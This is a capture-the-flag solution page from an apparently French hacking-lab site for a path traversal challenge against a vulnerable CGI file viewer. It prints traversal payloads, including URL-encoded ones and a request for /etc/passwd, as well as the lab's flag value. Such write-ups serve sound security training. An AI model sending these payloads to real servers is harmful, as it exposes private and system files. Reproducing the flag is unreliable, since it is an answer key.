Path Traversal
Démarrez la machine, hackez le système et trouvez les flags cachés pour compléter ce défi et gagner des points!
1
Flags
5
Points
72%
Taux de Réussite
Commencez Votre Défi
Lancez votre machine dédiée pour commencer à hacker
~1-2 min de configuration
Serveur dédié
Instance privée
Standard de l'industrie
Cette solution est pour le Mode Flags
Ce guide explique comment hacker le lab et capturer les flags. Pour de l'aide avec les questions du Mode Apprentissage, utilisez le bouton Demander un Indice à côté de chaque question.
Défi
Path Traversal - Complete Solution Walkthrough
Step 1: Understand the Vulnerability
- The challenge runs a vulnerable CGI script that allows file access
- The script takes a file parameter without proper validation
- Path traversal sequences like
../are not filtered - This allows access to files outside the web root directory
Step 2: Identify the Attack Vector
- Access the web server at the target URL
- Navigate to the File Viewer:
/vulnerable.cgi - The vulnerable endpoint is:
/vulnerable.cgi?file= - This CGI script allows file access without proper validation
Step 3: Craft the Path Traversal Payload
- Use the following payload:
?file=../../../../flag.txt - The script concatenates the file parameter to:
/usr/local/apache2/htdocs/ - This results in:
/usr/local/apache2/htdocs/../../../../flag.txt - Which resolves to:
/flag.txtin the container root
Step 4: Execute the Attack
- Send a request to:
http://target/vulnerable.cgi?file=../../../../flag.txt - The CGI script will process the path traversal
- This will access the flag file outside the web root
- The flag is:
7a9b8c1d-2e3f-4a5b-6c7d-8e9f0a1b2c3d
Step 5: Alternative Exploitation Methods
- Try different path traversal sequences:
../../../flag.txt,../../flag.txt - URL encode the payload:
%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2f%2e%2f%2e%2f%2e%2fflag.txt - Explore other files:
?file=../../../../etc/passwd - Test different directory levels to find the correct path
Security Implications
- Input Validation: Always validate and sanitize file paths, especially in CGI scripts.
- Path Traversal: Common vulnerability that allows unauthorized file access.
- CGI Security: CGI scripts must be carefully secured to prevent exploitation.
- File Access Control: Implement proper access controls to prevent unauthorized file reading.
- Defense in Depth: Use multiple layers of security to prevent path traversal attacks.
- Code Review: Regular security audits can catch such vulnerabilities before deployment.
Prêt à hacker ce lab?
Créez un compte gratuit pour démarrer votre propre serveur dédié, soumettre des flags et gagner des points au classement.
Commencer à Hacker Gratuitement